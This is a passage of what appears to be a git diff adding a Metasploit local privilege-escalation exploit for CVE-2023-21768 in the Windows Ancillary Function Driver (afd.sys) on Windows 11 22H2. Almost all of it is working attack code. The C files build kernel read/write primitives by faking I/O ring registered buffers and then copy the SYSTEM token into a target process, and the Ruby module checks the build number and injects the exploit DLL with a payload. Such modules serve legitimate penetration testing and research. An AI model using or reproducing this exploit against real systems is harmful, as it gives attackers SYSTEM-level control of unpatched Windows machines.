|
||||
UNICODE_STRING TypeName;
|
||||
ULONG TotalNumberOfObjects;
|
||||
ULONG TotalNumberOfHandles;
|
||||
ULONG TotalPagedPoolUsage;
|
||||
ULONG TotalNonPagedPoolUsage;
|
||||
ULONG TotalNamePoolUsage;
|
||||
ULONG TotalHandleTableUsage;
|
||||
ULONG HighWaterNumberOfObjects;
|
||||
ULONG HighWaterNumberOfHandles;
|
||||
ULONG HighWaterPagedPoolUsage;
|
||||
ULONG HighWaterNonPagedPoolUsage;
|
||||
ULONG HighWaterNamePoolUsage;
|
||||
ULONG HighWaterHandleTableUsage;
|
||||
ULONG InvalidAttributes;
|
||||
GENERIC_MAPPING GenericMapping;
|
||||
ULONG ValidAccessMask;
|
||||
BOOLEAN SecurityRequired;
|
||||
BOOLEAN MaintainHandleCount;
|
||||
BOOLEAN TypeIndex;
|
||||
CHAR ReservedByte;
|
||||
ULONG PoolType;
|
||||
ULONG DefaultPagedPoolCharge;
|
||||
ULONG DefaultNonPagedPoolCharge;
|
||||
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;
|
||||
|
||||
typedef struct _DISPATCHER_HEADER
|
||||
{
|
||||
union
|
||||
{
|
||||
volatile long Lock;
|
||||
long LockNV;
|
||||
struct
|
||||
{
|
||||
unsigned char Type;
|
||||
unsigned char Signalling;
|
||||
unsigned char Size;
|
||||
unsigned char Reserved1;
|
||||
};
|
||||
struct
|
||||
{
|
||||
unsigned char TimerType;
|
||||
union
|
||||
{
|
||||
unsigned char TimerControlFlags;
|
||||
struct
|
||||
{
|
||||
struct
|
||||
{
|
||||
unsigned char Absolute : 1;
|
||||
unsigned char Wake : 1;
|
||||
unsigned char EncodedTolerableDelay : 6;
|
||||
};
|
||||
unsigned char Hand;
|
||||
union
|
||||
{
|
||||
unsigned char TimerMiscFlags;
|
||||
struct
|
||||
{
|
||||
unsigned char Index : 6;
|
||||
unsigned char Inserted : 1;
|
||||
volatile unsigned char Expired : 1;
|
||||
};
|
||||
};
|
||||
};
|
||||
};
|
||||
};
|
||||
struct
|
||||
{
|
||||
unsigned char Timer2Type;
|
||||
union
|
||||
{
|
||||
unsigned char Timer2Flags;
|
||||
struct
|
||||
{
|
||||
struct
|
||||
{
|
||||
unsigned char Timer2Inserted : 1;
|
||||
unsigned char Timer2Expiring : 1;
|
||||
unsigned char Timer2CancelPending : 1;
|
||||
unsigned char Timer2SetPending : 1;
|
||||
unsigned char Timer2Running : 1;
|
||||
unsigned char Timer2Disabled : 1;
|
||||
unsigned char Timer2ReservedFlags : 2;
|
||||
};
|
||||
unsigned char Timer2ComponentId;
|
||||
unsigned char Timer2RelativeId;
|
||||
};
|
||||
};
|
||||
};
|
||||
struct
|
||||
{
|
||||
unsigned char QueueType;
|
||||
union
|
||||
{
|
||||
unsigned char QueueControlFlags;
|
||||
struct
|
||||
{
|
||||
struct
|
||||
{
|
||||
unsigned char Abandoned : 1;
|
||||
unsigned char DisableIncrement : 1;
|
||||
unsigned char QueueReservedControlFlags : 6;
|
||||
};
|
||||
unsigned char QueueSize;
|
||||
unsigned char QueueReserved;
|
||||
};
|
||||
};
|
||||
};
|
||||
struct
|
||||
{
|
||||
unsigned char ThreadType;
|
||||
unsigned char ThreadReserved;
|
||||
union
|
||||
{
|
||||
unsigned char ThreadControlFlags;
|
||||
struct
|
||||
{
|
||||
struct
|
||||
{
|
||||
unsigned char CycleProfiling : 1;
|
||||
unsigned char CounterProfiling : 1;
|
||||
unsigned char GroupScheduling : 1;
|
||||
unsigned char AffinitySet : 1;
|
||||
unsigned char Tagged : 1;
|
||||
unsigned char EnergyProfiling : 1;
|
||||
unsigned char SchedulerAssist : 1;
|
||||
unsigned char ThreadReservedControlFlags : 1;
|
||||
};
|
||||
union
|
||||
{
|
||||
unsigned char DebugActive;
|
||||
struct
|
||||
{
|
||||
unsigned char ActiveDR7 : 1;
|
||||
unsigned char Instrumented : 1;
|
||||
unsigned char Minimal : 1;
|
||||
unsigned char Reserved4 : 2;
|
||||
unsigned char AltSyscall : 1;
|
||||
unsigned char Emulation : 1;
|
||||
unsigned char Reserved5 : 1;
|
||||
};
|
||||
};
|
||||
};
|
||||
};
|
||||
};
|
||||
struct
|
||||
{
|
||||
unsigned char MutantType;
|
||||
unsigned char MutantSize;
|
||||
unsigned char DpcActive;
|
||||
unsigned char MutantReserved;
|
||||
};
|
||||
};
|
||||
long SignalState;
|
||||
LIST_ENTRY WaitListHead;
|
||||
} DISPATCHER_HEADER, * PDISPATCHER_HEADER;
|
||||
|
||||
typedef struct _KEVENT
|
||||
{
|
||||
struct _DISPATCHER_HEADER Header;
|
||||
} KEVENT, * PKEVENT;
|
||||
|
||||
|
||||
#define AFD_NOTIFYSOCK_IOCTL 0x12127
|
||||
|
||||
// Good enough™ best guess on what this structure is.
|
||||
typedef struct AFD_NOTIFYSOCK_DATA
|
||||
{
|
||||
HANDLE hCompletion;
|
||||
PVOID pData1;
|
||||
PVOID pData2;
|
||||
PVOID pPwnPtr;
|
||||
DWORD dwCounter;
|
||||
DWORD dwTimeout;
|
||||
DWORD dwLen;
|
||||
char lol[0x4];
|
||||
}AFD_NOTIFYSOCK_DATA;
|
||||
|
||||
fNtCreateFile NtCreateFile;
|
||||
fNtDeviceIoControlFile NtDeviceIoControlFile;
|
||||
fNtCreateIoCompletion NtCreateIoCompletion;
|
||||
fNtSetIoCompletion NtSetIoCompletion;
|
||||
fNtQuerySystemInformation NtQuerySystemInformation;
|
275
external/source/exploits/CVE-2023-21768/ioring.c
vendored
Executable file
275
external/source/exploits/CVE-2023-21768/ioring.c
vendored
Executable file
@ -0,0 +1,275 @@
|
||||
#include <windows.h>
|
||||
#include "ioring.h"
|
||||
|
||||
HIORING hIoRing = NULL;
|
||||
PIORING_OBJECT pIoRing = NULL;
|
||||
HANDLE hInPipe = INVALID_HANDLE_VALUE;
|
||||
HANDLE hOutPipe = INVALID_HANDLE_VALUE;
|
||||
HANDLE hInPipeClient = INVALID_HANDLE_VALUE;
|
||||
HANDLE hOutPipeClient = INVALID_HANDLE_VALUE;
|
||||
|
||||
HRESULT GetObjPtr(PVOID* ppObjAddr, ULONG ulPid, HANDLE handle) {
|
||||
HRESULT ret;
|
||||
PSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL;
|
||||
ULONG ulBytes = 0;
|
||||
NTSTATUS ntStatus = STATUS_SUCCESS;
|
||||
|
||||
while ((ntStatus = NtQuerySystemInformation(SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH) {
|
||||
if (pHandleInfo) {
|
||||
pHandleInfo = HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, 2 * (SIZE_T) ulBytes);
|
||||
} else {
|
||||
pHandleInfo = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * (SIZE_T) ulBytes);
|
||||
}
|
||||
}
|
||||
|
||||
if (ntStatus != STATUS_SUCCESS) {
|
||||
dprintf("NtQuerySystemInformation() failed (NTSTATUS=0x%X)", ntStatus);
|
||||
ret = E_FAIL;
|
||||
goto done;
|
||||
}
|
||||
|
||||
if (pHandleInfo == NULL) {
|
||||
dprintf("Heap memory allocation failed (0x%X)", GetLastError());
|
||||
ret = E_FAIL;
|
||||
goto done;
|
||||
}
|
||||
|
||||
for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++) {
|
||||
if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (USHORT) handle)) {
|
||||
*ppObjAddr = pHandleInfo->Handles[i].Object;
|
||||
ret = S_OK;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
done:
|
||||
if (pHandleInfo) {
|
||||
HeapFree(GetProcessHeap(), 0, pHandleInfo);
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
HRESULT IoRingSetup(PIORING_OBJECT* ppIoRingAddr) {
|
||||
IORING_CREATE_FLAGS ioRingFlags = { 0 };
|
||||
|
||||
ioRingFlags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE;
|
||||
ioRingFlags.Advisory = IORING_CREATE_REQUIRED_FLAGS_NONE;
|
||||
|
||||
if (CreateIoRing(IORING_VERSION_3, ioRingFlags, 0x10000, 0x20000, &hIoRing) != S_OK) {
|
||||
dprintf("Call to CreateIoRing() failed (0x%X)", GetLastError());
|
||||
return E_FAIL;
|
||||
}
|
||||
|
||||
if (GetObjPtr(ppIoRingAddr, GetCurrentProcessId(), *(PHANDLE)hIoRing) != S_OK) {
|
||||
dprintf("Failed to get the IoRing object address");
|
||||
return E_FAIL;
|
||||
}
|
||||
|
||||
pIoRing = *ppIoRingAddr;
|
||||
|
||||
hInPipe = CreateNamedPipe(L"\\\\.\\pipe\\ioring_in", PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);
|
||||
hOutPipe = CreateNamedPipe(L"\\\\.\\pipe\\ioring_out", PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);
|
||||
|
||||
if ((hInPipe == INVALID_HANDLE_VALUE) || (hOutPipe == INVALID_HANDLE_VALUE)) {
|
||||
dprintf("Named pipe creation failure (0x%X)", GetLastError());
|
||||
return E_FAIL;
|
||||
}
|
||||
|
||||
hInPipeClient = CreateFile(L"\\\\.\\pipe\\ioring_in", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
hOutPipeClient = CreateFile(L"\\\\.\\pipe\\ioring_out", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
|
||||
if ((hInPipeClient == INVALID_HANDLE_VALUE) || (hOutPipeClient == INVALID_HANDLE_VALUE)) {
|
||||
dprintf("Error while opening named pipes (0x%X)", GetLastError());
|
||||
return E_FAIL;
|
||||
}
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
HRESULT IoRingRead(PULONG64 pRegisterBuffers, ULONG64 pReadAddr, PVOID pReadBuffer, ULONG ulReadLen) {
|
||||
HRESULT ret;
|
||||
PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;
|
||||
IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hOutPipeClient);
|
||||
IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);
|
||||
IORING_CQE cqe = { 0 };
|
||||
|
||||
pMcBufferEntry = VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);
|
||||
|
||||
if (!pMcBufferEntry) {
|
||||
dprintf("Call to VirtualAlloc() failed (0x%X)", GetLastError());
|
||||
ret = E_FAIL;
|
||||
goto done;
|
||||
}
|
||||
|
||||
pMcBufferEntry->Address = (PVOID)pReadAddr;
|
||||
pMcBufferEntry->Length = ulReadLen;
|
||||
pMcBufferEntry->Type = 0xc02;
|
||||
pMcBufferEntry->Size = 0x80;
|
||||
pMcBufferEntry->AccessMode = 1;
|
||||
pMcBufferEntry->ReferenceCount = 1;
|
||||
|
||||
pRegisterBuffers[0] = (ULONG64)pMcBufferEntry;
|
||||
|
||||
if (BuildIoRingWriteFile(hIoRing, reqFile, reqBuffer, ulReadLen, 0, FILE_WRITE_FLAGS_NONE, (UINT_PTR)NULL, IOSQE_FLAGS_NONE) != S_OK) {
|
||||
dprintf("Call to BuildIoRingWriteFile() failed (0x%X)", GetLastError());
|
||||
ret = E_FAIL;
|
||||
goto done;
|
||||
}
|
||||
|
||||
if (SubmitIoRing(hIoRing, 0, 0, NULL) != S_OK) {
|
||||
dprintf("Call to SubmitIoRing() failed (0x%X)", GetLastError());
|
||||
ret = E_FAIL;
|
||||
goto done;
|
||||
}
|
||||
|
||||
if (PopIoRingCompletion(hIoRing, &cqe) != S_OK) {
|
||||
dprintf("Call to PopIoRingCompletion() failed (0x%X)", GetLastError());
|
||||
ret = E_FAIL;
|
||||
goto done;
|
||||
}
|
||||
|
||||
if (cqe.ResultCode != S_OK) {
|
||||
ret = cqe.ResultCode;
|
||||
dprintf("the I/O ring operation failed (ResultCode=0x%X)", ret);
|
||||
goto done;
|
||||
}
|
||||
|
||||
if (!ReadFile(hOutPipe, pReadBuffer, ulReadLen, NULL, NULL)) {
|
||||
dprintf("Call to ReadFile() failed (0x%X)", GetLastError());
|
||||
ret = E_FAIL;
|
||||
goto done;
|
||||
}
|
||||
|
||||
ret = S_OK;
|
||||
|
||||
done:
|
||||
if (pMcBufferEntry) {
|
||||
VirtualFree(pMcBufferEntry, 0, MEM_RELEASE);
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
HRESULT IoRingWrite(PULONG64 pRegisterBuffers, ULONG64 pWriteAddr, PVOID pWriteBuffer, ULONG ulWriteLen) {
|
||||
HRESULT ret;
|
||||
PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;
|
||||
IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hInPipeClient);
|
||||
IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);
|
||||
IORING_CQE cqe = { 0 };
|
||||
|
||||
if (!WriteFile(hInPipe, pWriteBuffer, ulWriteLen, NULL, NULL))
|
||||
{
|
||||
dprintf("Call to WriteFile() failed (0x%X)", GetLastError());
|
||||
ret = E_FAIL;
|
||||
goto done;
|
||||
}
|
||||
|
||||
pMcBufferEntry = VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);
|
||||
|
||||
if (!pMcBufferEntry)
|
||||
{
|
||||
dprintf("Call to VirtualAlloc() failed (0x%X)", GetLastError());
|
||||
ret = E_FAIL;
|
||||
goto done;
|
||||
}
|
||||
|
||||
pMcBufferEntry->Address = (PVOID)pWriteAddr;
|
||||
pMcBufferEntry->Length = ulWriteLen;
|
||||
pMcBufferEntry->Type = 0xc02;
|
||||
pMcBufferEntry->Size = 0x80;
|
||||
pMcBufferEntry->AccessMode = 1;
|
||||
pMcBufferEntry->ReferenceCount = 1;
|
||||
|
||||
pRegisterBuffers[0] = (ULONG64)pMcBufferEntry;
|
||||
|
||||
if (BuildIoRingReadFile(hIoRing, reqFile, reqBuffer, ulWriteLen, 0, (UINT_PTR)NULL, IOSQE_FLAGS_NONE) != S_OK) {
|
||||
dprintf("Call to BuildIoRingReadFile() failed (0x%X)", GetLastError());
|
||||
ret = E_FAIL;
|
||||
goto done;
|
||||
}
|
||||
|
||||
if (SubmitIoRing(hIoRing, 0, 0, NULL) != S_OK) {
|
||||
dprintf("Call to SubmitIoRing() failed (0x%X)", GetLastError());
|
||||
ret = E_FAIL;
|
||||
goto done;
|
||||
}
|
||||
|
||||
if (PopIoRingCompletion(hIoRing, &cqe) != S_OK) {
|
||||
dprintf("Call to PopIoRingCompletion() failed (0x%X)", GetLastError());
|
||||
ret = E_FAIL;
|
||||
goto done;
|
||||
}
|
||||
|
||||
if (cqe.ResultCode != S_OK) {
|
||||
ret = cqe.ResultCode;
|
||||
dprintf("the I/O ring operation failed (ResultCode=0x%X)", ret);
|
||||
goto done;
|
||||
}
|
||||
|
||||
ret = S_OK;
|
||||
|
||||
done:
|
||||
if (pMcBufferEntry) {
|
||||
VirtualFree(pMcBufferEntry, 0, MEM_RELEASE);
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
|
||||
HRESULT IoRingLpe(ULONG pid, ULONG64 ullFakeRegBufferAddr, ULONG ulFakeRegBufferCnt) {
|
||||
HANDLE hProc = NULL;
|
||||
ULONG64 ullSystemEPROCaddr = 0;
|
||||
ULONG64 ullTargEPROCaddr = 0;
|
||||
PVOID pFakeRegBuffers = NULL;
|
||||
_HIORING* phIoRing = NULL;
|
||||
ULONG64 ullSysToken = 0;
|
||||
char null[0x10] = { 0 };
|
||||
|
||||
hProc = OpenProcess(PROCESS_QUERY_INFORMATION, 0, pid);
|
||||
|
||||
if (!hProc) {
|
||||
dprintf("Call to OpenProcess() failed (0x%X)", GetLastError());
|
||||
return E_FAIL;
|
||||
}
|
||||
|
||||
if (GetObjPtr((PVOID*)&ullSystemEPROCaddr, 4, (HANDLE)4) != S_OK) {
|
||||
dprintf("Unable to get System EPROC address");
|
||||
return E_FAIL;
|
||||
}
|
||||
|
||||
dprintf("System EPROC address: %llx", ullSystemEPROCaddr);
|
||||
|
||||
if (GetObjPtr((PVOID*)&ullTargEPROCaddr, GetCurrentProcessId(), hProc) != S_OK) {
|
||||
dprintf("Unable to get Current EPROC address");
|
||||
return E_FAIL;
|
||||
}
|
||||
|
||||
dprintf("Current process EPROC address: %llx", ullTargEPROCaddr);
|
||||
|
||||
pFakeRegBuffers = VirtualAlloc((LPVOID)ullFakeRegBufferAddr, sizeof(ULONG64) * ulFakeRegBufferCnt, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
|
||||
|
||||
if (pFakeRegBuffers != (PVOID)ullFakeRegBufferAddr) {
|
||||
dprintf("Call to VirtualAlloc() failed (0x%X)", GetLastError());
|
||||
return E_FAIL;
|
||||
}
|
||||
|
||||
memset(pFakeRegBuffers, 0, sizeof(ULONG64) * ulFakeRegBufferCnt);
|
||||
|
||||
phIoRing = *(_HIORING**)&hIoRing;
|
||||
phIoRing->RegBufferArray = pFakeRegBuffers;
|
||||
phIoRing->BufferArraySize = ulFakeRegBufferCnt;
|
||||
|
||||
if (IoRingRead(pFakeRegBuffers, ullSystemEPROCaddr + EPROC_TOKEN_OFFSET, &ullSysToken, sizeof(ULONG64)) != S_OK) {
|
||||
dprintf("Unable to read System token through a I/O ring read operation");
|
||||
return E_FAIL;
|
||||
}
|
||||
|
||||
dprintf("System token is at: %llx", ullSysToken);
|
||||
|
||||
if (IoRingWrite(pFakeRegBuffers, ullTargEPROCaddr + EPROC_TOKEN_OFFSET, &ullSysToken, sizeof(ULONG64)) != S_OK) {
|
||||
dprintf("Unable to write System token through a I/O ring write operation");
|
||||
return E_FAIL;
|
||||
}
|
||||
|
||||
IoRingWrite(pFakeRegBuffers, (ULONG64)&pIoRing->RegBuffersCount, &null, 0x10);
|
||||
|
||||
return S_OK;
|
||||
}
|
81
external/source/exploits/CVE-2023-21768/ioring.h
vendored
Executable file
81
external/source/exploits/CVE-2023-21768/ioring.h
vendored
Executable file
@ -0,0 +1,81 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
#include <ioringapi.h>
|
||||
#include "exploit.h"
|
||||
|
||||
typedef struct _NT_IORING_CREATE_FLAGS
|
||||
{
|
||||
enum _NT_IORING_CREATE_REQUIRED_FLAGS Required;
|
||||
enum _NT_IORING_CREATE_ADVISORY_FLAGS Advisory;
|
||||
} NT_IORING_CREATE_FLAGS, * PNT_IORING_CREATE_FLAGS;
|
||||
|
||||
typedef struct _NT_IORING_INFO
|
||||
{
|
||||
enum IORING_VERSION IoRingVersion;
|
||||
struct _NT_IORING_CREATE_FLAGS Flags;
|
||||
unsigned int SubmissionQueueSize;
|
||||
unsigned int SubmissionQueueRingMask;
|
||||
unsigned int CompletionQueueSize;
|
||||
unsigned int CompletionQueueRingMask;
|
||||
struct _NT_IORING_SUBMISSION_QUEUE* SubmissionQueue;
|
||||
struct _NT_IORING_COMPLETION_QUEUE* CompletionQueue;
|
||||
} NT_IORING_INFO, * PNT_IORING_INFO;
|
||||
|
||||
typedef struct _IOP_MC_BUFFER_ENTRY
|
||||
{
|
||||
USHORT Type;
|
||||
USHORT Reserved;
|
||||
ULONG Size;
|
||||
ULONG ReferenceCount;
|
||||
ULONG Flags;
|
||||
LIST_ENTRY GlobalDataLink;
|
||||
PVOID Address;
|
||||
ULONG Length;
|
||||
CHAR AccessMode;
|
||||
ULONG MdlRef;
|
||||
struct _MDL* Mdl;
|
||||
KEVENT MdlRundownEvent;
|
||||
PULONG64 PfnArray;
|
||||
BYTE PageNodes[0x20];
|
||||
} IOP_MC_BUFFER_ENTRY, * PIOP_MC_BUFFER_ENTRY;
|
||||
|
||||
typedef struct _IORING_OBJECT
|
||||
{
|
||||
short Type;
|
||||
short Size;
|
||||
struct _NT_IORING_INFO UserInfo;
|
||||
void* Section;
|
||||
struct _NT_IORING_SUBMISSION_QUEUE* SubmissionQueue;
|
||||
struct _MDL* CompletionQueueMdl;
|
||||
struct _NT_IORING_COMPLETION_QUEUE* CompletionQueue;
|
||||
unsigned __int64 ViewSize;
|
||||
long InSubmit;
|
||||
unsigned __int64 CompletionLock;
|
||||
unsigned __int64 SubmitCount;
|
||||
unsigned __int64 CompletionCount;
|
||||
unsigned __int64 CompletionWaitUntil;
|
||||
struct _KEVENT CompletionEvent;
|
||||
unsigned char SignalCompletionEvent;
|
||||
struct _KEVENT* CompletionUserEvent;
|
||||
unsigned int RegBuffersCount;
|
||||
struct _IOP_MC_BUFFER_ENTRY** RegBuffers;
|
||||
unsigned int RegFilesCount;
|
||||
void** RegFiles;
|
||||
} IORING_OBJECT, * PIORING_OBJECT;
|
||||
|
||||
typedef struct _HIORING
|
||||
{
|
||||
HANDLE handle;
|
||||
NT_IORING_INFO Info;
|
||||
ULONG IoRingKernelAcceptedVersion;
|
||||
PVOID RegBufferArray;
|
||||
ULONG BufferArraySize;
|
||||
PVOID Unknown;
|
||||
ULONG FileHandlesCount;
|
||||
ULONG SubQueueHead;
|
||||
ULONG SubQueueTail;
|
||||
}_HIORING;
|
||||
|
||||
HRESULT IoRingSetup(PIORING_OBJECT* ppIoRingAddr);
|
||||
HRESULT IoRingLpe(ULONG pid, ULONG64 ullFakeRegBufferAddr, ULONG dwFakeRegBufferCnt);
|
78
external/source/include/windows/definitions.h
vendored
78
external/source/include/windows/definitions.h
vendored
@ -154,3 +154,81 @@ typedef VOID(__stdcall* fRtlGetNtVersionNumbers)(
|
||||
|
||||
#define TYPE_WINDOW 1
|
||||
typedef PVOID(__stdcall* fHMValidateHandle)(HANDLE hHandle, DWORD dwType);
|
||||
|
||||
//
|
||||
// Taken from ntdef.h
|
||||
//
|
||||
|
||||
// Unicode strings are counted 16-bit character strings. If they are
|
||||
// NULL terminated, Length does not include trailing NULL.
|
||||
typedef struct _UNICODE_STRING {
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
#ifdef MIDL_PASS
|
||||
[size_is(MaximumLength / 2), length_is((Length) / 2)] USHORT* Buffer;
|
||||
#else // MIDL_PASS
|
||||
_Field_size_bytes_part_opt_(MaximumLength, Length) PWCH Buffer;
|
||||
#endif // MIDL_PASS
|
||||
} UNICODE_STRING, *PUNICODE_STRING;
|
||||
|
||||
typedef struct _OBJECT_ATTRIBUTES {
|
||||
ULONG Length;
|
||||
HANDLE RootDirectory;
|
||||
PUNICODE_STRING ObjectName;
|
||||
ULONG Attributes;
|
||||
PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR
|
||||
PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE
|
||||
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
|
||||
|
||||
//
|
||||
// Taken from wdm.h
|
||||
//
|
||||
typedef struct _IO_STATUS_BLOCK {
|
||||
union {
|
||||
NTSTATUS Status;
|
||||
PVOID Pointer;
|
||||
};
|
||||
ULONG_PTR Information;
|
||||
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
|
||||
|
||||
typedef NTSTATUS(__stdcall* fNtCreateFile)(
|
||||
PHANDLE FileHandle,
|
||||
ACCESS_MASK DesiredAccess,
|
||||
POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
PIO_STATUS_BLOCK IoStatusBlock,
|
||||
PLARGE_INTEGER AllocationSize,
|
||||
ULONG FileAttributes,
|
||||
ULONG ShareAccess,
|
||||
ULONG CreateDisposition,
|
||||
ULONG CreateOptions,
|
||||
PVOID EaBuffer,
|
||||
ULONG EaLength
|
||||
);
|
||||
|
||||
typedef NTSTATUS(__stdcall* fNtDeviceIoControlFile)(
|
||||
HANDLE FileHandle,
|
||||
HANDLE Event,
|
||||
PVOID ApcRoutine, // PIO_APC_ROUTINE is just a pointer to a function
|
||||
PVOID ApcContext,
|
||||
PIO_STATUS_BLOCK IoStatusBlock,
|
||||
ULONG IoControlCode,
|
||||
PVOID InputBuffer,
|
||||
ULONG InputBufferLength,
|
||||
PVOID OutputBuffer,
|
||||
ULONG OutputBufferLength
|
||||
);
|
||||
|
||||
typedef NTSTATUS(__stdcall* fNtCreateIoCompletion)(
|
||||
PHANDLE IoCompletionHandle,
|
||||
ACCESS_MASK DesiredAccess,
|
||||
POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
ULONG NumberOfConcurrentThreads
|
||||
);
|
||||
|
||||
typedef NTSTATUS(__stdcall* fNtSetIoCompletion)(
|
||||
HANDLE IoCompletionHandle,
|
||||
ULONG CompletionKey,
|
||||
PIO_STATUS_BLOCK IoStatusBlock,
|
||||
NTSTATUS CompletionStatus,
|
||||
ULONG NumberOfBytesTransferred
|
||||
);
|
||||
|
102
modules/exploits/windows/local/cve_2023_21768_afd_lpe.rb
Normal file
102
modules/exploits/windows/local/cve_2023_21768_afd_lpe.rb
Normal file
@ -0,0 +1,102 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::Process
|
||||
include Msf::Post::Windows::ReflectiveDLLInjection
|
||||
include Msf::Post::Windows::FileInfo
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
{
|
||||
'Name' => 'Ancillary Function Driver (AFD) for WinSock Elevation of Privilege',
|
||||
'Description' => %q{
|
||||
A vulnerability exists in the Windows Ancillary Function Driver for Winsock
|
||||
(`afd.sys`) can be leveraged by an attacker to escalate privileges to those of
|
||||
NT AUTHORITY\SYSTEM. Due to a flaw in `AfdNotifyRemoveIoCompletion`, it is
|
||||
possible to create an arbitrary kernel Write-Where primitive, which can be used
|
||||
to manipulate internal I/O ring structures and achieve local privilege
|
||||
escalation.
|
||||
|
||||
This exploit only supports Windows 11 22H2 up to build 22621.963 (patched in
|
||||
January 2023 updates).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'chompie', # Github PoC
|
||||
'b33f', # Github PoC
|
||||
'Yarden Shafir', # I/O Ring R/W primitive PoC
|
||||
'Christophe De La Fuente' # Metasploit module
|
||||
],
|
||||
'Arch' => [ ARCH_X64 ],
|
||||
'Platform' => 'win',
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'Privileged' => true,
|
||||
'Targets' => [
|
||||
[ 'Windows 11 22H2 x64', { 'Arch' => ARCH_X64 } ]
|
||||
],
|
||||
'Payload' => {
|
||||
'DisableNops' => true
|
||||
},
|
||||
'References' => [
|
||||
[ 'CVE', '2023-21768' ],
|
||||
[ 'URL', 'https://github.com/xforcered/Windows_LPE_AFD_CVE-2023-21768' ],
|
||||
[ 'URL', 'https://github.com/yardenshafir/IoRingReadWritePrimitive' ]
|
||||
],
|
||||
'DisclosureDate' => '2023-01-10',
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [],
|
||||
'Reliability' => [ REPEATABLE_SESSION ],
|
||||
'SideEffects' => []
|
||||
}
|
||||
}
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
if sysinfo['OS'] !~ /windows/i
|
||||
return Exploit::CheckCode::Safe('Only Windows systems are affected')
|
||||
end
|
||||
|
||||
major, minor, build, revision, _branch = file_version('C:\\Windows\\System32\\ntoskrnl.exe')
|
||||
vprint_status("Windows Build Number = #{build}.#{revision}")
|
||||
|
||||
unless major == 6 && minor == 2 && build == 22621
|
||||
return CheckCode::Safe('The exploit only supports Windows 11 22H2')
|
||||
end
|
||||
|
||||
if revision > 963
|
||||
return CheckCode::Safe("This Windows host seems to be patched (build 22621.#{revision})")
|
||||
end
|
||||
|
||||
CheckCode::Appears
|
||||
end
|
||||
|
||||
def exploit
|
||||
if is_system?
|
||||
fail_with(Failure::None, 'Session is already elevated')
|
||||
end
|
||||
|
||||
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
|
||||
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
|
||||
end
|
||||
|
||||
encoded_payload = payload.encoded
|
||||
execute_dll(
|
||||
::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-21768', 'CVE-2023-21768.x64.dll'),
|
||||
[encoded_payload.length].pack('I<') + encoded_payload
|
||||
)
|
||||
|
||||
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue
Block a user